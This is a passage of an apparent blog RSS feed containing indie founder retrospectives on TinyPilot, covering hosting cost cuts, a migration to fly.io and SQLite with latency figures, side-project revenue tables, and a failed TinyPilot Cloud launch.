&lt;h3 id="bandwidth---21mo">Bandwidth - $21/mo&lt;/h3>
&lt;p>My outgoing bandwidth fees come mostly from this blog and &lt;a href="https://isitketo.org">Is It Keto&lt;/a>. I was hosting both sites on Google Firebase, where the bandwidth fees are $0.15/GB. My websites collectively serve about 150 GB/mo in bandwidth, but a surge in blog readers can drive that up by a factor of three.&lt;/p>
&lt;p>I&amp;rsquo;ve searched for other static file hosts, but for some reason, almost every static hosting provider wants to take over the entire continuous integration (CI) workflow. I don&amp;rsquo;t want that. I want to use a CI vendor for CI, and I want to use a hosting provider for hosting.&lt;/p>
&lt;p>I&amp;rsquo;d looked into &lt;a href="https://www.netlify.com/">Netlify&lt;/a> in the past, but I dismissed them as a &amp;ldquo;we insist on being your CI&amp;rdquo; host. Then, &lt;a href="https://twitter.com/siddhantgoel/status/1457381011923378176">Siddhant Goel told me&lt;/a> about Netlify&amp;rsquo;s &amp;ldquo;manual build&amp;rdquo; mode that lets you skip all their CI nonsense. They have a $19/mo plan with 400 GB of bandwidth and $0.20/GB after that, so even in the rare month that I see a huge influx of visitors, I&amp;rsquo;d still only be paying ~$20/month.&lt;/p>
&lt;h3 id="appengine---13mo">AppEngine - $13/mo&lt;/h3>
&lt;p>My last significant cost was AppEngine hosting for What Got Done. For years, the cost had been ~$2/mo. In July, the bills suddenly shot up to $10-15/month, and I don&amp;rsquo;t know why.&lt;/p>
&lt;p>Fortunately, What Got Done is a standard Go web app, so it doesn&amp;rsquo;t need to run on AppEngine. The harder dependency was on Google Firestore for data. I could have migrated AppEngine and Firestore separately, but dealing with Google service accounts and permissions is such a pain that I decided to make a clean break from both services at once.&lt;/p>
&lt;p>To replace Firestore, I used &lt;a href="https://sqlite.org">SQLite&lt;/a> and &lt;a href="https://litestream.io">Litestream&lt;/a>. SQLite is a simple SQL database that keeps everything in a single file. Litestream is a tool for syncing SQLite databases to the cloud. I used these same technologies &lt;a href="https://mtlynch.io/litestream/">to build LogPaste&lt;/a>, and they worked well, so I wanted to invest more in them.&lt;/p>
&lt;p>To replace AppEngine, I used &lt;a href="https://fly.io">fly.io&lt;/a>. I&amp;rsquo;ve been experimenting with fly.io for the past year, and I consistently have good experiences with them. Their documentation is clear, their tools work how you expect, and their founders and lead engineers actively engage on their &lt;a href="https://community.fly.io/">support forum&lt;/a>.&lt;/p>
&lt;p>My move to fly.io was mainly about reducing costs and gaining vendor independence, but the changes ended up improving performance tremendously. Most of What Got Done&amp;rsquo;s API requests had 2-20x speedups after I migrated to SQLite and fly.io.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly_hu_b0ce36219d0a8bf5.png 300w, https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly_hu_e0e9c8f5572fc382.png 600w, https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly_hu_b528e55c88897f9e.png 800w, https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly_hu_9aed3ad5e381c39f.png 1200w, https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly.png 1466w'
 src="https://mtlynch.io/retrospectives/2021/12/appengine-vs-fly.png" alt="Graph of AppEngine performance vs fly.io" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Request&lt;/th>
 &lt;th>AppEngine Latency (ms)&lt;/th>
 &lt;th>fly.io Latency (ms)&lt;/th>
 &lt;th>Latency Reduction&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Fetch recent entries&lt;/td>
 &lt;td>745.3&lt;/td>
 &lt;td>27.3&lt;/td>
 &lt;td>96.3%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fetch user profile&lt;/td>
 &lt;td>300.0&lt;/td>
 &lt;td>29.3&lt;/td>
 &lt;td>90.2%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fetch personalized feed&lt;/td>
 &lt;td>572.0&lt;/td>
 &lt;td>68.7&lt;/td>
 &lt;td>88.0%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fetch user&amp;rsquo;s complete entry history&lt;/td>
 &lt;td>215.7&lt;/td>
 &lt;td>62.0&lt;/td>
 &lt;td>71.3%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fetch impression count&lt;/td>
 &lt;td>349.7&lt;/td>
 &lt;td>20.0&lt;/td>
 &lt;td>94.3%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Publish entry&lt;/td>
 &lt;td>183.3&lt;/td>
 &lt;td>72.7&lt;/td>
 &lt;td>60.4%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>20,321&lt;/td>
 &lt;td>17,790&lt;/td>
 &lt;td>&lt;font color="red">-2,531 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>47,487&lt;/td>
 &lt;td>40,722&lt;/td>
 &lt;td>&lt;font color="red">-6,765 (-14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>15.0&lt;/td>
 &lt;td>&lt;font color="green">+4.0 (+36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$230.64&lt;/td>
 &lt;td>$235.36&lt;/td>
 &lt;td>&lt;font color="green">+$4.72 (+2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$27.76&lt;/td>
 &lt;td>$26.25&lt;/td>
 &lt;td>&lt;font color="red">-$1.51 (-5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$258.40&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$261.61&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$3.21 (+1%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto is still hanging around in the background earning small amounts of revenue. My only change this month was moving it from Firebase to Netlify, which reduces my hosting costs.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>100&lt;/td>
 &lt;td>159&lt;/td>
 &lt;td>&lt;font color="green">+59 (+59%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$75.27&lt;/td>
 &lt;td>$94.57&lt;/td>
 &lt;td>&lt;font color="green">+$19.30 (+26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$75.27&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$94.57&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$19.30 (+26%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>My blogging course had a handful of sales this past month. I considered running a Black Friday sale, but I was enjoying the long weekend of not thinking about business, so I decided against it. I&amp;rsquo;m glad I didn&amp;rsquo;t because I had a blast tinkering with What Got Done instead.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>613&lt;/td>
 &lt;td>576&lt;/td>
 &lt;td>&lt;font color="red">-37 (-6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,426&lt;/td>
 &lt;td>1,489&lt;/td>
 &lt;td>&lt;font color="green">+63 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$99.74&lt;/td>
 &lt;td>$727.17&lt;/td>
 &lt;td>&lt;font color="green">+$627.43 (+629%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$99.74&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$727.17&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$627.43 (+629%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful saw a big bump this month from a new customer who made around $700 in requests. The customer&amp;rsquo;s name seemed familiar, so I checked my emails. I had reached out to them three years ago, and they politely declined. I guess they needed a few years to think it over.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published the TinyPilot 2.3.1 release&lt;/li>
&lt;li>Prepared for the launch of Voyager 2&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/whatgotdone/pull/639">Migrated What Got Done&lt;/a> from GCP and Firestore to fly.io, SQLite, and Litestream&lt;/li>
&lt;li>Migrated this blog, Is It Keto, and a few other static sites from Google Firebase to Netlify&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When sales begin trending upwards, think early about scaling.&lt;/li>
&lt;li>Google Cloud Platform is usually the wrong choice for small projects.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Launch the Voyager 2.&lt;/li>
&lt;li>Launch TinyPilot&amp;rsquo;s rebrand.
&lt;ul>
&lt;li>For real this time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Build up enough inventory that TinyPilot isn&amp;rsquo;t scrambling to meet demand.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>&lt;strong>Note&lt;/strong>: I mentioned some services in this post, but I have no business relationship with any of them except as a customer. I hate reading seemingly genuine product recommendations on blogs only to discover that the author is profiting from referrals, so I&amp;rsquo;m deliberately not using any links that generate referral bonuses or affiliate fees.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 16</title><link>https://mtlynch.io/retrospectives/2021/11/</link><pubDate>Thu, 11 Nov 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/11/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I announced a new product and then discovered it was a mistake.&lt;/li>
&lt;li>I simplified the TinyPilot website to focus on a single device.&lt;/li>
&lt;li>I tried taking my first real vacation from TinyPilot with mixed results.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="train-local-staff-members-to-assist-with-customer-support">Train local staff members to assist with customer support&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Local staff members are answering ~50% of support emails.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>We now use &lt;a href="https://www.helpscout.com/">HelpScout&lt;/a> as a shared customer support queue. There are still plenty of cases where I&amp;rsquo;m the only one with the context or technical background to handle the request, but it&amp;rsquo;s great to have help with the rest.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I announced a new product and then discovered it was a mistake.&lt;/li>
&lt;li>I simplified the TinyPilot website to focus on a single device.&lt;/li>
&lt;li>I tried taking my first real vacation from TinyPilot with mixed results.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="train-local-staff-members-to-assist-with-customer-support">Train local staff members to assist with customer support&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Local staff members are answering ~50% of support emails.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>We now use &lt;a href="https://www.helpscout.com/">HelpScout&lt;/a> as a shared customer support queue. There are still plenty of cases where I&amp;rsquo;m the only one with the context or technical background to handle the request, but it&amp;rsquo;s great to have help with the rest.&lt;/p>
&lt;p>It&amp;rsquo;s also fantastic to take myself out of the critical path on time-sensitive inquiries, like when a customer places an order and then follows up quickly to tell us they entered the wrong shipping address. Before HelpScout, I&amp;rsquo;d have to ferry messages between the customer and TinyPilot&amp;rsquo;s fulfillment staff, often too late. Now, the fulfillment staff members get the requests directly and can handle them without me.&lt;/p>
&lt;h3 id="start-development-on-a-monthly-service-based-software-complement-to-tinypilot">Start development on a monthly service-based software complement to TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;ve paused development after a tepid user reception.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C-&lt;/li>
&lt;/ul>
&lt;p>I published a preview of a service called TinyPilot Cloud and offered signups for early access. There wasn&amp;rsquo;t enough interest from users, so I&amp;rsquo;ve paused the project for now.&lt;/p>
&lt;h3 id="complete-tinypilots-website-rebrand">Complete TinyPilot&amp;rsquo;s website rebrand&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re very close, but it&amp;rsquo;s not done yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>The rebrand is taking longer than I expected, but it should be ready in November. The new designs look really cool, so I&amp;rsquo;m eager to get them up.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2021&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>9,960&lt;/td>
 &lt;td>6,898&lt;/td>
 &lt;td>&lt;font color="red">-3,062 (-31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>15,744&lt;/td>
 &lt;td>13,008&lt;/td>
 &lt;td>&lt;font color="red">-2,736 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$42,234.17&lt;/td>
 &lt;td>$34,927.55&lt;/td>
 &lt;td>&lt;font color="red">-$7,306.62 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,431.35&lt;/td>
 &lt;td>$6,804.53&lt;/td>
 &lt;td>&lt;font color="green">+$3,373.18 (+98%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$45,713.52&lt;/td>
 &lt;td>$41,780.08&lt;/td>
 &lt;td>&lt;font color="red">-$3,933.44 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$11,713.04&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,936.22&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$9,776.82 (-83%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>TinyPilot had a fairly strong sales month. Sales are down a bit from last month, but our European distributor doubled their sales from September, providing a nice boost.&lt;/p>
&lt;p>Profits are lower than last month despite sales because my dev costs were atypically high at $11k. I also spent $5k on design consulting for the rebrand, but those costs are only ongoing for the next couple of months.&lt;/p>
&lt;h2 id="the-tinypilot-cloud-flop">The TinyPilot Cloud flop&lt;/h2>
&lt;p>One of the most common requests I hear from users is for access to their TinyPilot devices over the Internet. There are a few &lt;a href="https://web.archive.org/web/20230606130531/https://tinypilotkvm.com/faq/cloud-access">third-party solutions&lt;/a>, but they&amp;rsquo;re either slow or inconvenient.&lt;/p>
&lt;p>Naturally, this led to the idea for TinyPilot Cloud, a paid service that offers customers simple and performant cloud access to their devices. It would be a great selling point because no other KVM over IP device offers this natively. The service fits in with TinyPilot&amp;rsquo;s brand of making everything dead-simple while preserving performance and security. Best of all, it would provide a consistent stream of income, unlike the bursty nature of eCommerce.&lt;/p>
&lt;p>With the open-source tools and cloud vendors available, I estimated that it would take about a month to deploy a minimum viable product of TinyPilot Cloud. I worked with other TinyPilot developers on a simple proof-of-concept implementation using &lt;a href="https://www.wireguard.com/">Wireguard&lt;/a> and &lt;a href="https://fly.io">fly.io&lt;/a>. It was harder than I anticipated, but it worked better than any of the existing third-party cloud access solutions.&lt;/p>
&lt;p>Now that we had a basic prototype, I wrote a requirements document and asked TinyPilot&amp;rsquo;s senior developer to turn it into a design document. That also turned out to be more difficult than either of us expected. We had to evaluate authentication providers and map out a complex setup flow that balanced security with ease of use.&lt;/p>
&lt;p>As part of the design work, TinyPilot&amp;rsquo;s senior developer created screenshots to mock up the user flow. I included them in a teaser blog post that invited readers to sign up for TinyPilot Cloud early access.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/cloud-preview-post.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/11/cloud-preview-post_hu_dc43ba45335c8a45.png 300w, https://mtlynch.io/retrospectives/2021/11/cloud-preview-post_hu_7c85977d06c5f87f.png 600w, https://mtlynch.io/retrospectives/2021/11/cloud-preview-post.png 700w'
 src="https://mtlynch.io/retrospectives/2021/11/cloud-preview-post.png" alt="Screenshot of TinyPilot blog post about TinyPilot Cloud" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A teaser blog post I published about TinyPilot Cloud.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I sent the announcement to TinyPilot&amp;rsquo;s 450 mailing list subscribers. 94 of them clicked the link, which was a promising conversion rate.&lt;/p>
&lt;p>After two days, only two users had signed up for the TinyPilot Cloud waitlist, and that was after sharing the post on Twitter, Reddit, and the TinyPilot user forums.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/cloud-waitlist.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/11/cloud-waitlist_hu_81f61969ab9a118f.png 300w, https://mtlynch.io/retrospectives/2021/11/cloud-waitlist_hu_50bc0a64e303ec9e.png 600w, https://mtlynch.io/retrospectives/2021/11/cloud-waitlist_hu_ccc59a732090bec6.png 800w, https://mtlynch.io/retrospectives/2021/11/cloud-waitlist.png 873w'
 src="https://mtlynch.io/retrospectives/2021/11/cloud-waitlist.png" alt="Screenshot of EmailOctopus showing only two signups" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Two days after the teaser blog post, only two users had signed up for early access to TinyPilot Cloud.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Two signups were &lt;em>way&lt;/em> less than I was hoping. I expected maybe 50 signups, of which 25 could turn into actual customers, so we&amp;rsquo;d be starting out with ~$750/month. If only two people total were interested out of a population that actively follows TinyPilot, something was seriously wrong.&lt;/p>
&lt;p>I invited the users who signed up to talk more in hopes of learning out how to find more customers like them, but they weren&amp;rsquo;t so enthusiastic. One of them never responded to my email, and the other said he signed up out of curiosity but wasn&amp;rsquo;t sure he&amp;rsquo;d actually use the service.&lt;/p>
&lt;p>Other users expressed concern about the cost, as $30/month for cloud access felt steep. Larger customers were less price-sensitive, but they didn&amp;rsquo;t want to expose their internal networks to an external service.&lt;/p>
&lt;p>I felt discouraged and embarrassed that I&amp;rsquo;d invested so much time into something users didn&amp;rsquo;t want in the first place. All told, this project consumed six to eight person-weeks of development time. Validating customer demand before investing months into engineering is like entrepreneurship 101.&lt;/p>
&lt;p>Looking back, instead of setting out to create a working product, I should have just aimed for the blog post and measured interest from there. My mistake was assuming that just because people &lt;em>wanted&lt;/em> cloud access meant that they&amp;rsquo;d be willing to pay $30/month for it. The existing providers in this space offer their services free to small businesses and home users, so I think $30/month seemed surprisingly high.&lt;/p>
&lt;p>For now, we&amp;rsquo;re pausing development on TinyPilot Cloud. We&amp;rsquo;ve documented our design work well, so we should be able to pick it up in a few months if we find more customers. Alternatively, we may end up publishing an open-source version of the service that customers can self-host.&lt;/p>
&lt;h2 id="simplifying-to-just-one-product">Simplifying to just one product&lt;/h2>
&lt;p>The first TinyPilot product I ever offered was the TinyPilot Hobbyist Kit. Before I had any custom hardware or cases, I offered this kit of off-the-shelf hardware that allowed customers to build a TinyPilot the same way I built my first one. As TinyPilot has evolved and I&amp;rsquo;ve added the high-end &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager">TinyPilot Voyager&lt;/a>, I continued to offer the Hobbyist Kit for price-conscious customers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/hobbyist-parts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/11/hobbyist-parts_hu_fe1a04ee16c9bebb.jpg 300w, https://mtlynch.io/retrospectives/2021/11/hobbyist-parts_hu_bd8d00a186c0efe9.jpg 600w, https://mtlynch.io/retrospectives/2021/11/hobbyist-parts_hu_5f52ebaf9c6eac5b.jpg 800w, https://mtlynch.io/retrospectives/2021/11/hobbyist-parts_hu_5c9b869990a972c9.jpg 1200w, https://mtlynch.io/retrospectives/2021/11/hobbyist-parts.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/11/hobbyist-parts.jpg" alt="Photo of parts in TinyPilot hobbyist kit" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot Hobbyist Kit, which I stopped offering this month&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I began working with a design firm in September on a rebrand for TinyPilot. When they asked me which customers TinyPilot should to appeal to, I said small-to-medium-sized businesses and tech-savvy consumers.&lt;/p>
&lt;p>After that conversation, I began to wonder whether the Hobbyist Kit was hindering that goal. Seeing the TinyPilot Voyager next to a cheap DIY device might send the message that the Voyager is only a small step up from something you could build yourself.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/old-product-page.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/11/old-product-page_hu_93c4de30e24b2634.png 300w, https://mtlynch.io/retrospectives/2021/11/old-product-page_hu_8f42611918ab40c5.png 600w, https://mtlynch.io/retrospectives/2021/11/old-product-page_hu_67e9380e537b0575.png 800w, https://mtlynch.io/retrospectives/2021/11/old-product-page_hu_da702744bcc5db1a.png 1200w, https://mtlynch.io/retrospectives/2021/11/old-product-page.png 1324w'
 src="https://mtlynch.io/retrospectives/2021/11/old-product-page.png" alt="Screenshot of old TinyPilot product page, listing Voyager and Hobbyist kit side-by-side" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Does the TinyPilot Voyager look cheap sitting alongside the Hobbyist Kit?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Further complicating matters, there&amp;rsquo;s been a shortage of Raspberry Pi devices. The wait time on new orders is six months or more. It&amp;rsquo;s possible that I&amp;rsquo;ll run out of Raspberry Pis before the chip shortage eases up, so it seems foolish to waste a scarce resource on my $190 product instead of my $350 product.&lt;/p>
&lt;p>Halfway through the month, I retired the Hobbyist Kit from the website to focus on the Voyager:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/no-hobbyist-kit.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/11/no-hobbyist-kit_hu_fc15b0925df93456.png 300w, https://mtlynch.io/retrospectives/2021/11/no-hobbyist-kit_hu_8134bff613966b3d.png 600w, https://mtlynch.io/retrospectives/2021/11/no-hobbyist-kit_hu_b9c0bbefe16aa477.png 800w, https://mtlynch.io/retrospectives/2021/11/no-hobbyist-kit.png 1106w'
 src="https://mtlynch.io/retrospectives/2021/11/no-hobbyist-kit.png" alt="Screenshot of website without Hobbyist kit" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Removing the TinyPilot Hobbyist kit from the products page&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That felt nicer. If a customer wanted a KVM over IP device, the choice was unambiguous. They didn&amp;rsquo;t have to research the Hobbyist kit and Voyager and evaluate whether they were willing to pay more for a plug &amp;rsquo;n play device and higher quality video.&lt;/p>
&lt;p>Then, I thought, &amp;ldquo;Why stop there?&amp;rdquo; Did all the other products need to be there? When customers upgrade to TinyPilot Pro, they typically purchase directly from their TinyPilot web dashboard rather than navigating the website. And I still wanted to offer the power connector for the DIY crowd, but I could do that without listing it on my main product page. At that point, I realized I didn&amp;rsquo;t even need an index page of products.&lt;/p>
&lt;p>Trimming out the accessory products allowed me to focus the TinyPilot website around my flagship product: the Voyager.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/one-product.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/11/one-product_hu_bb1ce5a0c6297487.png 300w, https://mtlynch.io/retrospectives/2021/11/one-product_hu_f380ab20acb9154c.png 600w, https://mtlynch.io/retrospectives/2021/11/one-product_hu_debea461fcc8d060.png 800w, https://mtlynch.io/retrospectives/2021/11/one-product.png 1106w'
 src="https://mtlynch.io/retrospectives/2021/11/one-product.png" alt="Screenshot of TinyPilot website, offering only one product" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The TinyPilot website now offers a single product: the Voyager&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Reducing to a single product offers a lot of benefits. There&amp;rsquo;s less complexity for customer support, it gives us more room to store inventory, and it simplifies our order fulfillment process.&lt;/p>
&lt;p>Sales have been stronger since the change, but it&amp;rsquo;s difficult to say whether there&amp;rsquo;s a causal connection. There&amp;rsquo;s definitely a trend upwards after the change, but it could just be trailing effects from last month&amp;rsquo;s &lt;a href="https://mtlynch.io/retrospectives/2021/10/#tinypilot-stats">positive press&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/11/sales-trends.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
